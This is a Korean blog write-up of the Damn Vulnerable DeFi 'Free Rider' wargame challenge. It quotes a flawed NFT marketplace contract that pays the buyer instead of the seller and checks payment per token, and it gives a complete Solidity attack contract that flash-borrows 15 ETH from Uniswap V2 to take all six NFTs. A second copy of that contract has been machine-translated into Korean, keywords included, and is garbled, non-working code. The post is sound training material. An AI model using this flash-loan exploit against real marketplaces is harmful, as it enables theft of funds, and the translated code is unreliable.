lifetime 100su
Free Rider 본문
A new marketplace of Damn Valuable NFTs has been released! There’s been an initial mint of 6 NFTs, which are available for sale in the marketplace. Each one at 15 ETH.
A critical vulnerability has been reported, claiming that all tokens can be taken. Yet the developers don’t know how to save them!
They’re offering a bounty of 45 ETH for whoever is willing to take the NFTs out and send them their way. The recovery process is managed by a dedicated smart contract.
You’ve agreed to help. Although, you only have 0.1 ETH in balance. The devs just won’t reply to your messages asking for more.
If only you could get free ETH, at least for an instant.
NFT 마켓플레이스에 올라와 있는 개당 15 ETH 가격인 NFT 6개를 모두 구매하여 recovery 주소로 보내면 성공
FreeRiderNFTMarketplace.sol
function buyMany(uint256[] calldata tokenIds) external payable nonReentrant {
for (uint256 i = 0; i < tokenIds.length; ++i) {
unchecked {
_buyOne(tokenIds[i]);
}
}
}
function _buyOne(uint256 tokenId) private {
uint256 priceToPay = offers[tokenId];
if (priceToPay == 0) {
revert TokenNotOffered(tokenId);
}
if (msg.value < priceToPay) {
revert InsufficientPayment();
}
--offersCount;
// transfer from seller to buyer
DamnValuableNFT _token = token; // cache for gas savings
_token.safeTransferFrom(_token.ownerOf(tokenId), msg.sender, tokenId);
// pay seller using cached token
payable(_token.ownerOf(tokenId)).sendValue(priceToPay);
emit NFTBought(msg.sender, tokenId, priceToPay);
}
구매 후 금액을 owner에게 먼저 지급하는 방식이 아니라,
owner 변경이 완료된 후에 금액을 지급하기 때문에 구매자가 그대로 돈을 받게 된다.
player는 현재 0.1 ETH만 가지고 있기 때문에 uniswap V2의 flashswap 기능을 이용해서 15 ETH를 빌려온 후 구매를 진행하면 된다.
PoC
1. 15 ETH flashswap 호출
2. callback에서 구매 + nft recovery주소로 전송
3. uniswap V2 pool에 원금+수수료 전송
contract Attacker {
IUniswapV2Pair uniswapPair;
FreeRiderNFTMarketplace marketplace;
FreeRiderRecoveryManager recoveryManager;
WETH weth;
DamnValuableNFT nft;
address player;
constructor(IUniswapV2Pair _uniswapPair, WETH _weth, FreeRiderNFTMarketplace _marketplace, FreeRiderRecoveryManager _recoveryManager, DamnValuableNFT _nft, address _player) payable {
uniswapPair = _uniswapPair;
weth = _weth;
weth.deposit{value:msg.value}();
marketplace = _marketplace;
recoveryManager = _recoveryManager;
nft = _nft;
player = _player;
}
function attack() external {
uniswapPair.swap(15 ether, 0, address(this), "test");
}
function uniswapV2Call(address, uint, uint, bytes calldata) external {
uint256[] memory tokenIds = new uint256[](6);
for (uint256 i = 0; i < 6; i++) {
tokenIds[i] = i;
}
weth.withdraw(weth.balanceOf(address(this)));
marketplace.buyMany{value:15 ether}(tokenIds);
for (uint256 i = 0; i < 6; i++) {
nft.safeTransferFrom(address(this), address(recoveryManager), i, abi.encode(player));
}
weth.deposit{value:15.1 ether}();
weth.transfer(address(uniswapPair), 15.1 ether);
player.call{value:address(this).balance}("");
}
function onERC721Received(address, address, uint256, bytes calldata) external returns (bytes4){
return IERC721Receiver.onERC721Received.selector;
}
receive() external payable {}
}
계약 공격자 { IUniswapV2Pair uniswapPair; FreeRiderNFTMarketplace 마켓플레이스; FreeRiderRecoveryManager 복구 관리자; WETH 웨스; DamnValuableNFT nft; 주소 플레이어; 생성자(IUniswapV2Pair _uniswapPair, WETH _weth, FreeRiderNFTMarketplace _marketplace, FreeRiderRecoveryManager _recoveryManager, DamnValuableNFT _nft, 주소 _player) 지불 가능 { uniswapPair = _uniswapPair; 웨스 = _웨스; weth.deposit{값:msg.값}(); 마켓플레이스 = _마켓플레이스; RecoveryManager = _recoveryManager; nft = _nft; 플레이어 = _player; } 함수 공격() 외부 { uniswapPair.swap(15 에테르, 0, 주소(this), "테스트"); } 함수 uniswapV2Call(address, uint, uint, bytes calldata) 외부 { uint256[] 메모리 tokenIds = new uint256[](6); for (uint256 i = 0; i < 6; i++) { tokenIds[i] = i; } weth.withdraw(weth.balanceOf(address(this))); market.buyMany{value:15 ether}(tokenIds); for (uint256 i = 0; i < 6; i++) { nft.safeTransferFrom(address(this), address(recoveryManager), i, abi.encode(player)); } weth.deposit{값:15.1 에테르}(); weth.transfer(주소(uniswapPair), 15.1 에테르); player.call{value:address(this).balance}(""); } 함수 onERC721Received(address, address, uint256, bytes calldata) 외부 반환(bytes4){ IERC721Receiver.onERC721Received.selector를 반환합니다. } receive() 외부 지불 {} }
'wargame > damn vulnerable defi' 카테고리의 다른 글
| Climber (0) | 2026.02.03 |
|---|---|
| Backdoor (0) | 2026.01.25 |
| Puppet V2 (0) | 2026.01.25 |
| Puppet (0) | 2026.01.18 |
| Compromised (0) | 2026.01.18 |